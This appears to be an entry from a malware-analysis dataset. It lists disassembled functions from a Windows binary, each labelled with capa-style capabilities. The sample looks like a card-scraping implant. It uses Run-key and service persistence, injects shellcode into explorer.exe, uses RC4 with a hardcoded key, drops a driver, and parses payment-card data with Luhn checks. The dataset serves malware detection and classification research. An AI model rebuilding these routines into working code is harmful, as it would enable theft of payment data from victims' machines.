joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401310
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x425008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10c], edx
xor edi, edi
mov dword [ebp - 0x108], ecx
xor ebx, ebx
xor eax, eax
lea ebx, [ebx]
mov byte [ebp + eax - 0x104], al
inc eax
cmp eax, 0x100
jl 0x401340
xor edx, edx
xor ebx, ebx
jmp 0x401360
movzx ecx, byte [ebp + edx - 0x104]
movsx eax, byte [esi + str.Password]
inc esi
add eax, ecx
add ebx, eax
and ebx, 0xff
mov al, byte [ebp + ebx - 0x104]
mov byte [ebp + edx - 0x104], al
mov byte [ebp + ebx - 0x104], cl
and esi, 0x80000007
jns 0x40139c
dec esi
or esi, 0xfffffff8
inc esi
inc edx
cmp edx, 0x100
jl 0x401360
mov esi, dword [ebp - 0x10c]
xor edx, edx
mov ebx, edx
test esi, esi
jle 0x401407
jmp 0x4013c0
inc edi
and edi, 0xff
movzx ecx, byte [ebp + edi - 0x104]
add ebx, ecx
and ebx, 0xff
movzx eax, byte [ebp + ebx - 0x104]
mov byte [ebp + edi - 0x104], al
add al, cl
mov byte [ebp + ebx - 0x104], cl
mov ecx, dword [ebp - 0x108]
movzx eax, al
mov al, byte [ebp + eax - 0x104]
xor byte [ecx + edx], al
inc edx
cmp edx, esi
jl 0x4013c0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409264
mov esp, ebp
pop ebp
ret
Function at 0x401ba0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0
lea eax, [ebp - 4]
xor bl, bl
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401c03
mov edx, dword [ebp + 0xc]
mov eax, edx
push esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401bd7
sub eax, esi
push eax
push edx
push 1
push 0
push str.identifier
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
test eax, eax
sete bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401c10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp + 8]
xorps xmm0, xmm0
push esi
push edi
mov edi, dword [ebp + 8]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
movdqu xmmword [edi], xmm0
push 0x80000001
movdqu xmmword [edi + 0x10], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401cc0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push str.identifier
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401cc0
push dword [ebp - 4]
call fcn.0040997c
mov esi, eax
add esp, 4
test esi, esi
je 0x401c99
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push str.identifier
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401c99
push esi
call fcn.00409944
add esp, 4
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x401cc0
push 0x20
push esi
push edi
call fcn.00409f10
push esi
call fcn.00409944
add esp, 0x10
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
push ecx
push edi
call fcn.00401b40
push edi
push ecx
call fcn.00401ba0
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x401ce0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x425008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov ecx, edx
push esi
lea esi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d00
sub ecx, esi
cmp ecx, 0x400
jb 0x401d22
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409264
mov esp, ebp
pop ebp
ret 4
push ebx
push edi
push 0x400
push edx
lea eax, [ebp - 0x404]
push eax
call fcn.00409f10
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x404]
add esp, 0xc
mov bl, 1
mov al, byte [ecx]
mov esi, ecx
cmp al, 0x5c
je 0x401d8c
nop
test al, al
je 0x401d93
mov al, byte [esi + 1]
inc esi
cmp al, 0x5c
jne 0x401d50
cmp esi, ecx
je 0x401d8c
lea eax, [ebp - 0x404]
mov byte [esi], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401d79
test al, 0x10
jne 0x401d89
push 0
lea eax, [ebp - 0x404]
push eax
call edi
test eax, eax
setne bl
mov byte [esi], 0x5c
lea ecx, [esi + 1]
test bl, bl
jne 0x401d47
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.00409264
mov esp, ebp
pop ebp
ret 4

Function at 0x401db0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41bc2b
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x425008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x428d1c]
test esi, esi
jne 0x401e12
push 0xc8
call fcn.0040aff1
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], esi
test eax, eax
je 0x401e03
mov ecx, eax
call fcn.00401420
mov esi, eax
jmp 0x401e05
xor esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [0x428d1c], esi
push str.__29____1__
push 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xeb
push 0x4225d3
push esi
call fcn.004025a0
add esp, 0x18
call fcn.00407480
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
mov byte [esi + 0x30], 1
push 0x1f4
call edi
cmp byte [esi + 0x30], 0
jne 0x401e44
push 0
call fcn.0040afdd
int3

Function at 0x401f40
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x94], 0x10
lea esi, [edi + 0x80]
jb 0x401f5d
mov ecx, dword [esi]
jmp 0x401f5f
mov ecx, esi
cmp dword [edi + 0x7c], 0x10
lea eax, [edi + 0x68]
jb 0x401f6a
mov eax, dword [eax]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x401f80
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, edi
call fcn.00402090
test al, al
je 0x401f78
push 0x44
lea eax, [ebp - 0x58]
push 0
push eax
call fcn.0040f170
add esp, 0xc
mov dword [ebp - 0x58], 0x44
cmp dword [esi + 0x14], 0x10
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x10], xmm0
jb 0x401fb2
mov esi, dword [esi]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
setne al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402090
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x20]
mov esi, ecx
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4020de
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409264
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0xa8]
lea ecx, [esi + 0x98]
sub eax, 4
push eax
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.00402ae0
cmp dword [esi + 0x94], 0x10
lea ecx, [esi + 0x80]
jb 0x40210a
mov ecx, dword [ecx]
cmp dword [eax + 0x14], 0x10
jb 0x402112
mov eax, dword [eax]
push dword [esi + 0x90]
push ecx
push 1
push 0
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
setne bl
cmp dword [ebp - 8], 0x10
jb 0x40213d
push dword [ebp - 0x1c]
call fcn.0040a3d1
add esp, 4
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
jne 0x4020cc
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
xor ecx, ebp
pop ebx
call fcn.00409264
mov esp, ebp
pop ebp
ret
Function at 0x402160
Capabilities:
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41bc98
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x425008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
cmp dword [esi + 0x14], 0x10
jb 0x402196
mov eax, dword [esi]
jmp 0x402198
mov eax, esi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
test eax, eax
je 0x4022b9
cmp eax, 0xffffffff
je 0x4022b9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi + 0x14], 0x10
jb 0x4021d0
mov eax, dword [esi]
jmp 0x4021d2
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4022a3
push 0xffffffffffffffff
push eax
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x2c], al
call fcn.00402e40
sub esp, 8
mov dword [ebp - 4], 0
lea eax, [ebp - 0x48]
mov byte [ebp - 0x48], 0x5c
mov ecx, esi
push eax
call fcn.00402f70
cmp eax, 0xffffffff
je 0x402253
sub esp, 8
mov byte [ebp - 0x48], 0x5c
lea eax, [ebp - 0x48]
mov ecx, esi
push eax
call fcn.00402f70
push 0xffffffffffffffff
inc eax
mov ecx, esi
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00402ae0
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402980
cmp dword [ebp - 0x30], 0x10
jb 0x402253
push dword [ebp - 0x44]
call fcn.0040a3d1
add esp, 4
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
push ecx
call fcn.004022e0
test eax, eax
jne 0x40227e
cmp dword [ebp - 0x18], 0x10
jb 0x40227a
push dword [ebp - 0x2c]
call fcn.0040a3d1
add esp, 4
xor al, al
jmp 0x4022bb
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x18], 0x10
jb 0x4022a3
push dword [ebp - 0x2c]
call fcn.0040a3d1
add esp, 4
cmp dword [esi + 0x14], 0x10
jb 0x4022ab
mov esi, dword [esi]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
setne al
jmp 0x4022bb
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00409264
mov esp, ebp
pop ebp
ret 4
Function at 0x4022e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x425008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x402347
cmp esi, 0xffffffff
je 0x402347
push 0x128
lea eax, [ebp - 0x130]
push 0
push eax
call fcn.0040f170
add esp, 0xc
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x40235c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409264
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
mov dword [ebp - 0x134], 0
mov edi, edi
mov ecx, dword [ebp - 0x128]
cmp ecx, 4
jbe 0x4023b1
cmp ecx, ebx
je 0x4023b1
test edi, edi
je 0x40239d
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.00409a10
add esp, 8
test eax, eax
je 0x4023b1
mov ecx, dword [ebp - 0x128]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4023b1
cmp eax, 0xffffffff
jne 0x4023e3
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402370
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x134]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409264
mov esp, ebp
pop ebp
ret 8
push esi
mov dword [ebp - 0x134], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x134]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00409264
mov esp, ebp
pop ebp
ret 8
Function at 0x402800
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41bd7b
mov eax, dword fs:[0]
push eax
sub esp, 0x64
push esi
push edi
mov eax, dword [0x425008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x44
lea eax, [ebp - 0x6c]
push 0
push eax
call fcn.0040f170
mov esi, dword [ebp + 8]
add esp, 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x6c], 0x44
movdqu xmmword [ebp - 0x20], xmm0
cmp dword [esi + 0x14], 0x10
jb 0x402853
mov eax, dword [esi]
jmp 0x402855
mov eax, esi
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x6c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4028f0
cmp dword [esi + 0x14], 0x10
jb 0x40287e
mov esi, dword [esi]
mov edi, dword [0x428d1c]
test edi, edi
jne 0x4028b9
push 0xc8
call fcn.0040aff1
add esp, 4
mov dword [ebp + 8], eax
mov dword [ebp - 4], edi
test eax, eax
je 0x4028aa
mov ecx, eax
call fcn.00401420
mov edi, eax
jmp 0x4028ac
xor edi, edi
mov dword [ebp - 4], 0xffffffff
mov dword [0x428d1c], edi
push esi
push str.__3___s__4__
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x1b2
push 0x4225d3
push edi
call fcn.004025a0
add esp, 0x1c
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x403ae0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x425008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x403b2a
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x403b40
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409264
mov esp, ebp
pop ebp
ret
mov edx, str.explorer.exe
lea esi, [ebp - 0x10c]
jmp 0x403b50
mov al, byte [esi]
test al, al
je 0x403b7e
mov bl, byte [edx]
lea ecx, [eax - 0x61]
cmp cl, 0x19
movsx ecx, al
ja 0x403b66
sub ecx, 0x20
lea eax, [ebx - 0x61]
cmp al, 0x19
movsx eax, bl
ja 0x403b73
sub eax, 0x20
inc esi
inc edx
cmp al, cl
jne 0x403b84
cmp byte [edx], 0
jne 0x403b50
mov al, byte [edx]
cmp al, byte [esi]
je 0x403b94
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x403b1f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00409264
mov esp, ebp
pop ebp
ret
Function at 0x403bc0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push str.7YhngylKo09H
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x4227ec
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x403bfa
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00403ae0
push eax
push 0
push 0x3a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x403c55
push 0x40
push 0x3000
push 0x616
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x403c41
lea eax, [ebp - 4]
push eax
push 0x616
push 0x426310
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 8]
push eax
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x403c60
Capabilities:
Create service
Start service

Disassembly:
push esi
push edi
push 2
push 0
push 0
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x403cba
push 0
push 0
push 0
push 0
push 0
push esi
push 1
push 3
push 1
push 0xf01ff
push str.Windows_Host_Process
push str.Windows_Host_Process
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
call edi
test esi, esi
je 0x403cba
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call edi
pop edi
pop esi
ret

Function at 0x403d10
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425008]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x403d86
push esi
push 0xf003f
push str.Windows_Host_Process
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x403d65
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409264
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00409264
mov esp, ebp
pop ebp
ret
Function at 0x403da0
Capabilities:
Get token membership
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x425008]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0x40c], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x40c]
mov word [ebp - 0x408], 0x500
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x403eb8
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x414]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 0x414]
neg eax
sbb eax, eax
and dword [ebp - 0x410], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x410], 0
je 0x403eb8
call fcn.00403d10
push str.appdata
call fcn.0040b0c6
push eax
lea eax, [ebp - 0x404]
push str._sdrv.sys
push eax
call fcn.00409273
add esp, 0x10
lea ecx, [ebp - 0x404]
call fcn.00403cc0
test al, al
je 0x403e76
lea eax, [ebp - 0x404]
push str.C:drv.sys
push eax
call fcn.00409273
add esp, 8
push esi
lea eax, [ebp - 0x404]
push 0x422664
push eax
call fcn.0040a0f8
mov esi, eax
add esp, 8
test esi, esi
je 0x403eb7
push esi
push 0x1400
push 1
push 0x426928
call fcn.0040a52f
push esi
call fcn.0040ab76
add esp, 0x14
lea ecx, [ebp - 0x404]
call fcn.00403c60
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409264
mov esp, ebp
pop ebp
ret
Function at 0x404e00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
call fcn.004058d0
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esi], eax
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
lea eax, [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [ebp - 4]
mov dword [esi + 0x14], 0x2710
push eax
push 0
push esi
push 0x404e80
push 0
push 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x38], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xfffffffffffffffe
push eax
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x405160
Capabilities:
Parse credit card information
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41bf28
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x425008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
mov eax, dword [ebp + 0xc]
lea esi, [edx + 0xf]
add eax, 0xfffffff6
mov dword [ebp - 4], 0
add eax, edx
mov dword [ebp - 0x30], eax
cmp esi, eax
jae 0x40538a
nop
mov al, byte [esi]
cmp al, 0x3d
je 0x4051ce
cmp al, 0x44
jne 0x40536f
lea eax, [esi - 0x10]
mov al, byte [eax]
cmp al, 0x33
jne 0x4051e0
mov dword [ebp - 0x2c], 6
jmp 0x405209
cmp al, 0x34
jne 0x4051ed
mov dword [ebp - 0x2c], 8
jmp 0x405209
cmp al, 0x35
jne 0x4051fa
mov dword [ebp - 0x2c], 1
jmp 0x405209
cmp al, 0x36
jne 0x40536f
mov dword [ebp - 0x2c], 3
mov al, byte [esi + 1]
cmp al, 0x31
jb 0x40536f
cmp al, 0x34
ja 0x40536f
mov dl, byte [esi + 2]
cmp dl, 0x39
ja 0x40536f
cmp dl, 0x30
jb 0x40536f
movzx eax, al
sub eax, 0x30
lea ecx, [eax + eax*4]
movzx eax, dl
lea eax, [eax + ecx*2]
add eax, 0xffffffc3
cmp eax, 0x1b
ja 0x40536f
mov al, byte [esi + 3]
cmp al, 0x39
ja 0x40536f
cmp al, 0x30
jb 0x40536f
mov dl, byte [esi + 4]
cmp dl, 0x39
ja 0x40536f
cmp dl, 0x30
jb 0x40536f
movzx eax, al
sub eax, 0x30
lea ecx, [eax + eax*4]
movzx eax, dl
lea eax, [eax + ecx*2]
add eax, 0xffffffd0
je 0x40536f
cmp eax, 0xc
ja 0x40536f
cmp byte [esi + 6], 0x30
jne 0x40536f
cmp byte [esi + 7], 0x31
jne 0x40536f
mov al, byte [esi + 5]
cmp al, 0x32
je 0x4052b8
cmp al, 0x31
jne 0x40536f
mov di, word [ebp - 0x2c]
mov dl, 1
mov edi, edi
movzx ecx, dl
mov eax, esi
sub eax, ecx
mov al, byte [eax]
sub al, 0x30
cmp al, 9
ja 0x40536f
and ecx, 0x80000001
jns 0x4052e0
dec ecx
or ecx, 0xfffffffe
inc ecx
jne 0x4052ea
add al, al
cmp al, 9
jbe 0x4052ea
add al, 0xf7
movzx eax, al
inc dl
add di, ax
cmp dl, 0xf
jbe 0x4052c0
movzx eax, di
mov ecx, 0xa
cdq
idiv ecx
test edx, edx
jne 0x40536f
mov al, 8
movzx edi, al
add edi, esi
mov cl, byte [edi]
cmp cl, 0x39
ja 0x405321
cmp cl, 0x30
jb 0x405321
add al, 1
cmp al, 0x1e
jbe 0x405308
jmp 0x40532f
cmp al, 0xa
jbe 0x40536f
cmp byte [edi], 0x3f
jne 0x40532b
inc edi
test edi, edi
jne 0x405332
lea edi, [esi + 0x1f]
lea ecx, [esi - 0x10]
mov eax, edi
sub eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.00403090
lea eax, [ebp - 0x28]
push ebx
push eax
call fcn.00405cd0
mov ecx, eax
call fcn.004063e0
test al, al
je 0x40536c
lea esi, [ebx + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [ebx + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea esi, [edi + 0xf]
inc esi
cmp esi, dword [ebp - 0x30]
jb 0x4051c0
cmp dword [ebp - 0x14], 0x10
jb 0x40538a
push dword [ebp - 0x28]
call fcn.0040a3d1
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409264
mov esp, ebp
pop ebp
ret 8
Function at 0x405d50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41bfb3
mov eax, dword fs:[0]
push eax
sub esp, 8
push edi
mov eax, dword [0x425008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], 0
mov dword [edi + 4], 0
call fcn.00406da0
mov dword [edi], eax
mov dword [ebp - 4], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov byte [ebp - 4], 1
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.004058d0
mov ecx, edi
mov dword [edi + 0x2c], eax
call fcn.00405e40
lea eax, [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [edi + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [ebp - 0x14]
push eax
push 0
push edi
push 0x406560
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x405e40
Capabilities:
Hash data with crc32

Disassembly:
xor edx, edx
add ecx, 0x4c
mov eax, edx
shr eax, 1
test dl, 1
je 0x405e53
xor eax, 0xedb88320
test al, 1
je 0x405e60
shr eax, 1
xor eax, 0xedb88320
jmp 0x405e62
shr eax, 1
test al, 1
je 0x405e6f
shr eax, 1
xor eax, 0xedb88320
jmp 0x405e71
shr eax, 1
test al, 1
je 0x405e7e
shr eax, 1
xor eax, 0xedb88320
jmp 0x405e80
shr eax, 1
test al, 1
je 0x405e8d
shr eax, 1
xor eax, 0xedb88320
jmp 0x405e8f
shr eax, 1
test al, 1
je 0x405e9c
shr eax, 1
xor eax, 0xedb88320
jmp 0x405e9e
shr eax, 1
test al, 1
je 0x405eab
shr eax, 1
xor eax, 0xedb88320
jmp 0x405ead
shr eax, 1
test al, 1
je 0x405eba
shr eax, 1
xor eax, 0xedb88320
jmp 0x405ebc
shr eax, 1
mov dword [ecx], eax
